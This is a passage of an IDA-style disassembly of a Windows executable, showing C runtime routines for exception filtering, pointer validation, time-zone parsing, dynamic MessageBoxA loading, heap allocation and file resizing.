		mov	[ebp+var_4], ebx


loc_42019C:				; CODE XREF: sub_42012D+45j
					; sub_42012D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4201B4:				; CODE XREF: sub_42012D+A6j
		test	ecx, esi
		jnz	short loc_4201D5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4201B4
; ---------------------------------------------------------------------------


loc_4201D5:				; CODE XREF: sub_42012D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4201DE:				; CODE XREF: sub_42012D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42012D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_419D79
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4201EC	proc near		; DATA XREF: sub_420232o
					; nsp0:0043B140o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42020F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42020F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42020F
		jmp	sub_41E04C
; ---------------------------------------------------------------------------


loc_42020F:				; CODE XREF: sub_4201EC+Dj
					; sub_4201EC+13j ...
		mov	eax, dword_4D88F0
		test	eax, eax
		jz	short loc_42022C
		push	eax
		call	sub_420288
		test	eax, eax
		pop	ecx
		jz	short loc_42022C
		push	esi
		call	dword_4D88F0
		jmp	short loc_42022E
; ---------------------------------------------------------------------------


loc_42022C:				; CODE XREF: sub_4201EC+2Aj
					; sub_4201EC+35j
		xor	eax, eax


loc_42022E:				; CODE XREF: sub_4201EC+3Ej
		pop	esi
		retn	4
sub_4201EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_420232	proc near		; DATA XREF: nsp0:0042502Co
		push	offset sub_4201EC
		call	dword_42301C	; SetUnhandledExceptionFilter
		mov	dword_4D88F0, eax
		retn
sub_420232	endp


; =============== S U B	R O U T	I N E =======================================



sub_420243	proc near		; DATA XREF: nsp0:00425044o
		push	dword_4D88F0
		call	dword_42301C	; SetUnhandledExceptionFilter
		retn
sub_420243	endp


; =============== S U B	R O U T	I N E =======================================



sub_420250	proc near		; CODE XREF: sub_41D896+6Bp
					; sub_41DDA7+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_423018	; IsBadReadPtr
		test	eax, eax
		jz	short loc_420268
		xor	esi, esi


loc_420268:				; CODE XREF: sub_420250+14j
		mov	eax, esi
		pop	esi
		retn
sub_420250	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026C	proc near		; CODE XREF: sub_41DDA7+73p
					; sub_41DDA7+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_4231AC	; IsBadWritePtr
		test	eax, eax
		jz	short loc_420284
		xor	esi, esi


loc_420284:				; CODE XREF: sub_42026C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42026C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420288	proc near		; CODE XREF: sub_41DDA7+15Bp
					; sub_4201EC+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_423014	; IsBadCodePtr
		test	eax, eax
		jz	short loc_42029C
		xor	esi, esi


loc_42029C:				; CODE XREF: sub_420288+10j
		mov	eax, esi
		pop	esi
		retn
sub_420288	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E04C


loc_4202A0:				; CODE XREF: sub_41E04C:loc_41E09Dj
		push	0Ah
		call	sub_41EEFD
		push	16h
		call	sub_421401
		pop	ecx
		pop	ecx
		push	3
		call	sub_417CD2
; END OF FUNCTION CHUNK	FOR sub_41E04C

; =============== S U B	R O U T	I N E =======================================



sub_4202B7	proc near		; CODE XREF: sub_41E121:loc_41E160p
		cmp	dword_4D89B0, 0
		jnz	short locret_4202CB
		call	sub_4202CC
		inc	dword_4D89B0

locret_4202CB:				; CODE XREF: sub_4202B7+7j
		retn
sub_4202B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202CC	proc near		; CODE XREF: sub_4202B7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4D88F8, ebp
		mov	dword_43B5E0, ebx
		mov	dword_43B5D0, ebx
		call	sub_421573
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_4203F5
		push	offset dword_4D8900
		call	dword_423188	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_420524
		mov	eax, dword_4D8900
		mov	ecx, dword_4D8954
		imul	eax, 3Ch
		cmp	word_4D8946, bp
		push	1
		pop	edx
		mov	dword_43B538, eax
		mov	dword_4D88F8, edx
		jz	short loc_420343
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43B538, eax


loc_420343:				; CODE XREF: sub_4202CC+69j
		cmp	word_4D899A, bp
		jz	short loc_420367
		mov	eax, dword_4D89A8
		cmp	eax, ebp
		jz	short loc_420367
		sub	eax, ecx
		mov	dword_43B53C, edx
		imul	eax, 3Ch
		mov	dword_43B540, eax
		jmp	short loc_420373
; ---------------------------------------------------------------------------


loc_420367:				; CODE XREF: sub_4202CC+7Ej
					; sub_4202CC+87j
		mov	dword_43B53C, ebp
		mov	dword_43B540, ebp


loc_420373:				; CODE XREF: sub_4202CC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_423160
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43B5C4
		push	ebx
		push	offset dword_4D8904
		push	edi
		push	dword_4D8798
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_4203B0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4203B0
		mov	eax, off_43B5C4
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4203B8
; ---------------------------------------------------------------------------


loc_4203B0:				; CODE XREF: sub_4202CC+D1j
					; sub_4202CC+D7j
		mov	eax, off_43B5C4
		and	byte ptr [eax],	0


loc_4203B8:				; CODE XREF: sub_4202CC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43B5C8
		push	ebx
		push	offset dword_4D8958
		push	edi
		push	dword_4D8798
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_42051C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_42051C
		mov	eax, off_43B5C8
		and	byte ptr [eax+3Fh], 0
		jmp	loc_420524
; ---------------------------------------------------------------------------


loc_4203F5:				; CODE XREF: sub_4202CC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_420524
		mov	eax, dword_4D89AC
		cmp	eax, ebp
		jz	short loc_420418
		push	eax
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_420524


loc_420418:				; CODE XREF: sub_4202CC+139j
		push	dword_4D89AC
		call	sub_4177C1
		push	esi
		call	sub_4176F0
		inc	eax
		push	eax
		call	sub_417A2B
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4D89AC, eax
		jz	loc_420524
		push	esi
		push	eax
		call	sub_4183B0
		push	3
		push	esi
		push	off_43B5C4
		call	sub_417B00
		mov	eax, off_43B5C4
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42046D
		push	1
		inc	esi
		pop	edi


loc_42046D:				; CODE XREF: sub_4202CC+19Bj
		push	esi
		call	sub_417BFE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43B538, ecx


loc_420484:				; CODE XREF: sub_4202CC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_420492
		cmp	al, bl
		jl	short loc_420495
		cmp	al, 39h
		jg	short loc_420495


loc_420492:				; CODE XREF: sub_4202CC+1BCj
		inc	esi
		jmp	short loc_420484
; ---------------------------------------------------------------------------


loc_420495:				; CODE XREF: sub_4202CC+1C0j
					; sub_4202CC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_4204E8
		inc	esi
		push	esi
		call	sub_417BFE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43B538
		add	ecx, eax
		mov	dword_43B538, ecx


loc_4204B3:				; CODE XREF: sub_4202CC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4204C0
		cmp	al, 39h
		jg	short loc_4204C0
		inc	esi
		jmp	short loc_4204B3
; ---------------------------------------------------------------------------


loc_4204C0:				; CODE XREF: sub_4202CC+1EBj
					; sub_4202CC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_4204E8
		inc	esi
		push	esi
		call	sub_417BFE
		pop	ecx
		mov	ecx, dword_43B538
		add	ecx, eax
		mov	dword_43B538, ecx


loc_4204DB:				; CODE XREF: sub_4202CC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4204E8
		cmp	al, 39h
		jg	short loc_4204E8
		inc	esi
		jmp	short loc_4204DB
; ---------------------------------------------------------------------------


loc_4204E8:				; CODE XREF: sub_4202CC+1CCj
					; sub_4202CC+1F7j ...
		cmp	edi, ebp
		jz	short loc_4204F4
		neg	ecx
		mov	dword_43B538, ecx


loc_4204F4:				; CODE XREF: sub_4202CC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43B53C, eax
		jz	short loc_42051C
		push	3
		push	esi
		push	off_43B5C8
		call	sub_417B00
		mov	eax, off_43B5C8
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_420524
; ---------------------------------------------------------------------------


loc_42051C:				; CODE XREF: sub_4202CC+10Bj
					; sub_4202CC+115j ...
		mov	eax, off_43B5C8
		and	byte ptr [eax],	0


loc_420524:				; CODE XREF: sub_4202CC+40j
					; sub_4202CC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4202CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_42052A	proc near		; CODE XREF: sub_41E121+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43B53C, edi
		jnz	short loc_42053E


loc_420537:				; CODE XREF: sub_42052A+148j
					; sub_42052A+150j ...
		xor	eax, eax
		jmp	loc_42068A
; ---------------------------------------------------------------------------


loc_42053E:				; CODE XREF: sub_42052A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43B5D0
		jnz	short loc_42055C
		cmp	eax, dword_43B5E0
		jz	loc_42065E


loc_42055C:				; CODE XREF: sub_42052A+24j
		cmp	dword_4D88F8, edi
		jz	loc_420634
		movzx	ecx, word_4D89A6
		push	ecx
		cmp	word_4D8998, di
		movzx	ecx, word_4D89A4
		push	ecx
		movzx	ecx, word_4D89A2
		push	ecx
		movzx	ecx, word_4D89A0
		push	ecx
		jnz	short loc_4205AE
		movzx	ecx, word_4D899C
		push	edi
		push	ecx
		movzx	ecx, word_4D899E
		push	ecx
		movzx	ecx, word_4D899A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_4205C2
; ---------------------------------------------------------------------------


loc_4205AE:				; CODE XREF: sub_42052A+65j
		movzx	ecx, word_4D899E
		push	ecx
		push	edi
		movzx	ecx, word_4D899A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_4205C2:				; CODE XREF: sub_42052A+82j
		push	ebx
		call	sub_4206D6
		movzx	eax, word_4D8952
		add	esp, 2Ch
		cmp	word_4D8944, di
		push	eax
		movzx	eax, word_4D8950
		push	eax
		movzx	eax, word_4D894E
		push	eax
		movzx	eax, word_4D894C
		push	eax
		jnz	short loc_42061C
		movzx	eax, word_4D8948
		push	edi
		push	eax
		movzx	eax, word_4D894A
		push	eax
		movzx	eax, word_4D8946
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_420611:				; CODE XREF: sub_42052A+108j
		push	edi
		call	sub_4206D6
		add	esp, 2Ch
		jmp	short loc_42065E
; ---------------------------------------------------------------------------


loc_42061C:				; CODE XREF: sub_42052A+C8j
		movzx	eax, word_4D894A
		push	eax
		push	edi
		movzx	eax, word_4D8946
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_420611
; ---------------------------------------------------------------------------


loc_420634:				; CODE XREF: sub_42052A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_4206D6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_4206D6
		add	esp, 58h


loc_42065E:				; CODE XREF: sub_42052A+2Cj
					; sub_42052A+F0j
		mov	edx, dword_43B5D4
		mov	eax, dword_43B5E4
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_42068E
		cmp	ecx, edx
		jl	loc_420537
		cmp	ecx, eax
		jg	loc_420537
		cmp	ecx, edx
		jle	short loc_4206A2
		cmp	ecx, eax
		jge	short loc_4206A2


loc_420688:				; CODE XREF: sub_42052A+166j
					; sub_42052A+16Aj
		mov	eax, ebx


loc_42068A:				; CODE XREF: sub_42052A+Fj
					; sub_42052A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42068E:				; CODE XREF: sub_42052A+144j
		cmp	ecx, eax
		jl	short loc_420688
		cmp	ecx, edx
		jg	short loc_420688
		cmp	ecx, eax
		jle	short loc_4206A2
		cmp	ecx, edx
		jl	loc_420537


loc_4206A2:				; CODE XREF: sub_42052A+158j
					; sub_42052A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_4206C9
		xor	ecx, ecx
		cmp	eax, dword_43B5D8
		setnl	cl


loc_4206C5:				; CODE XREF: sub_42052A+1AAj
		mov	eax, ecx
		jmp	short loc_42068A
; ---------------------------------------------------------------------------


loc_4206C9:				; CODE XREF: sub_42052A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43B5E8
		setl	cl
		jmp	short loc_4206C5
sub_42052A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206D6	proc near		; CODE XREF: sub_42052A+99p
					; sub_42052A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_420771
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_420701
		shl	esi, 2
		mov	eax, dword_43B5E8[esi]
		jmp	short loc_42070A
; ---------------------------------------------------------------------------


loc_420701:				; CODE XREF: sub_4206D6+1Ej
		shl	esi, 2
		mov	eax, dword_43B61C[esi]


loc_42070A:				; CODE XREF: sub_4206D6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_420744
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_42074E
; ---------------------------------------------------------------------------


loc_420744:				; CODE XREF: sub_4206D6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_42074E:				; CODE XREF: sub_4206D6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_42078C
		cmp	[ebp+arg_8], 0
		jnz	short loc_420762
		mov	esi, dword_43B5EC[esi]
		jmp	short loc_420768
; ---------------------------------------------------------------------------


loc_420762:				; CODE XREF: sub_4206D6+82j
		mov	esi, dword_43B620[esi]


loc_420768:				; CODE XREF: sub_4206D6+8Aj
		cmp	ecx, esi
		jle	short loc_42078C
		sub	ecx, 7
		jmp	short loc_42078C
; ---------------------------------------------------------------------------


loc_420771:				; CODE XREF: sub_4206D6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_420782
		mov	ecx, dword_43B5E8[eax*4]
		jmp	short loc_420789
; ---------------------------------------------------------------------------


loc_420782:				; CODE XREF: sub_4206D6+A1j
		mov	ecx, dword_43B61C[eax*4]


loc_420789:				; CODE XREF: sub_4206D6+AAj
		add	ecx, [ebp+arg_18]


loc_42078C:				; CODE XREF: sub_4206D6+7Cj
					; sub_4206D6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_4207BD
		mov	eax, [ebp+arg_1C]
		mov	dword_43B5D4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43B5D0, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43B5D8, eax
		jmp	short loc_420812
; ---------------------------------------------------------------------------


loc_4207BD:				; CODE XREF: sub_4206D6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43B5E4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43B540
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43B5E8, eax
		jns	short loc_4207F5
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43B5E8, eax
		jmp	short loc_420806
; ---------------------------------------------------------------------------


loc_4207F5:				; CODE XREF: sub_4206D6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_42080C
		sub	eax, edx
		inc	ecx
		mov	dword_43B5E8, eax


loc_420806:				; CODE XREF: sub_4206D6+11Dj
		mov	dword_43B5E4, ecx


loc_42080C:				; CODE XREF: sub_4206D6+126j
		mov	dword_43B5E0, ebx


loc_420812:				; CODE XREF: sub_4206D6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4206D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420816	proc near		; CODE XREF: sub_41E7A8+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_420827
		add	esp, 0Ch
		retn
sub_420816	endp


; =============== S U B	R O U T	I N E =======================================



sub_420827	proc near		; CODE XREF: sub_420816+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4D9C41[eax], cl
		jnz	short loc_420854
		cmp	[esp+arg_4], 0
		jz	short loc_42084D
		movzx	eax, word_43AB8A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_42084F
; ---------------------------------------------------------------------------


loc_42084D:				; CODE XREF: sub_420827+16j
		xor	eax, eax


loc_42084F:				; CODE XREF: sub_420827+24j
		test	eax, eax
		jnz	short loc_420854
		retn
; ---------------------------------------------------------------------------


loc_420854:				; CODE XREF: sub_420827+Fj
					; sub_420827+2Aj
		push	1
		pop	eax
		retn
sub_420827	endp


; =============== S U B	R O U T	I N E =======================================



sub_420858	proc near		; CODE XREF: sub_41EEFD+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4D89B4, ebx
		push	esi
		push	edi
		jnz	short loc_4208A7
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4230B8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4208DD
		mov	esi, dword_4230BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_4D89B4, eax
		jz	short loc_4208DD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4D89B8, eax
		call	esi	; GetProcAddress
		mov	dword_4D89BC, eax


loc_4208A7:				; CODE XREF: sub_420858+Bj
		mov	eax, dword_4D89B8
		test	eax, eax
		jz	short loc_4208C6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4208C6
		mov	eax, dword_4D89BC
		test	eax, eax
		jz	short loc_4208C6
		push	ebx
		call	eax
		mov	ebx, eax


loc_4208C6:				; CODE XREF: sub_420858+56j
					; sub_420858+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4D89B4


loc_4208D9:				; CODE XREF: sub_420858+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4208DD:				; CODE XREF: sub_420858+1Cj
					; sub_420858+33j
		xor	eax, eax
		jmp	short loc_4208D9
sub_420858	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208E1	proc near		; CODE XREF: sub_41F417+22p
					; sub_41F417+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_420901
		test	esi, esi
		jnz	short loc_4208FB
		push	1
		pop	esi


loc_4208FB:				; CODE XREF: sub_4208E1+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_420901:				; CODE XREF: sub_4208E1+11j
					; sub_4208E1+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_420932
		cmp	ebx, dword_43AB7C
		ja	short loc_42091D
		push	ebx
		call	sub_41A37D
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_420948


loc_42091D:				; CODE XREF: sub_4208E1+2Dj
		push	esi
		push	8
		push	dword_4D9D60
		call	dword_423180	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_420954


loc_420932:				; CODE XREF: sub_4208E1+25j
		cmp	dword_4D8750, 0
		jz	short loc_420954
		push	esi
		call	sub_41ADF7
		test	eax, eax
		pop	ecx
		jz	short loc_42095A
		jmp	short loc_420901
; ---------------------------------------------------------------------------


loc_420948:				; CODE XREF: sub_4208E1+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_417AA0
		add	esp, 0Ch


loc_420954:				; CODE XREF: sub_4208E1+4Fj
					; sub_4208E1+58j
		mov	eax, edi


loc_420956:				; CODE XREF: sub_4208E1+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42095A:				; CODE XREF: sub_4208E1+63j
		xor	eax, eax
		jmp	short loc_420956
sub_4208E1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41F4BC


loc_42095E:				; CODE XREF: sub_41F4BC+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4D9A00, esi
		jle	short loc_4209B1


loc_42096D:				; CODE XREF: sub_41F4BC+14F3j
		mov	eax, dword_4D89E0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4209A8
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_42098C
		push	eax
		call	sub_41776B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_42098C
		inc	edi


loc_42098C:				; CODE XREF: sub_41F4BC+14C1j
					; sub_41F4BC+14CDj
		cmp	esi, 14h
		jl	short loc_4209A8
		mov	eax, dword_4D89E0
		push	dword ptr [eax+esi*4]
		call	sub_4177C1
		mov	eax, dword_4D89E0
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4209A8:				; CODE XREF: sub_41F4BC+14BBj
					; sub_41F4BC+14D3j
		inc	esi
		cmp	esi, dword_4D9A00
		jl	short loc_42096D


loc_4209B1:				; CODE XREF: sub_41F4BC+14AFj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41F4BC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4209B6	proc near		; CODE XREF: sub_41F514+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_418030
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4D9B20
		jnb	loc_420AEB
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4D9A20[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_420AEB
		push	1
		push	esi
		push	ebx
		call	sub_41E1E3
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_420AF5
		push	2
		push	esi
		push	ebx
		call	sub_41E1E3
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_420AF5
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_420A98
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_417AA0
		push	8000h
		push	ebx
		call	sub_4215F0
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_420A4C:				; CODE XREF: sub_4209B6+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_420A57
		mov	eax, edi


loc_420A57:				; CODE XREF: sub_4209B6+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41F26A
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420A75
		sub	edi, eax
		test	edi, edi
		jle	short loc_420A8B
		jmp	short loc_420A4C
; ---------------------------------------------------------------------------


loc_420A75:				; CODE XREF: sub_4209B6+B5j
		cmp	dword_4D86D4, 5
		jnz	short loc_420A88
		mov	dword_4D86D0, 0Dh


loc_420A88:				; CODE XREF: sub_4209B6+C6j
		or	esi, 0FFFFFFFFh


loc_420A8B:				; CODE XREF: sub_4209B6+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_4215F0
		pop	ecx
		pop	ecx
		jmp	short loc_420AD8
; ---------------------------------------------------------------------------


loc_420A98:				; CODE XREF: sub_4209B6+71j
		jge	short loc_420AD8
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41E1E3
		push	ebx
		call	sub_41F1D6
		add	esp, 10h
		push	eax
		call	dword_423010	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_420AD8
		mov	dword_4D86D0, 0Dh
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4D86D4, eax


loc_420AD8:				; CODE XREF: sub_4209B6+E0j
					; sub_4209B6:loc_420A98j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E1E3
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_420AF8
; ---------------------------------------------------------------------------


loc_420AEB:				; CODE XREF: sub_4209B6+1Aj
					; sub_4209B6+36j
		mov	dword_4D86D0, 9


loc_420AF5:				; CODE XREF: sub_4209B6+4Ej
					; sub_4209B6+63j
		or	eax, 0FFFFFFFFh


loc_420AF8:				; CODE XREF: sub_4209B6+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4209B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420AFC	proc near		; CODE XREF: sub_41FCAF+2Bp
					; sub_41FCAF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_420B12
		cmp	ecx, esi
		jnb	short loc_420B15


loc_420B12:				; CODE XREF: sub_420AFC+10j
		push	1
		pop	eax


loc_420B15:				; CODE XREF: sub_420AFC+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_420AFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B1D	proc near		; CODE XREF: sub_420BD6+40p
					; sub_420BD6+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
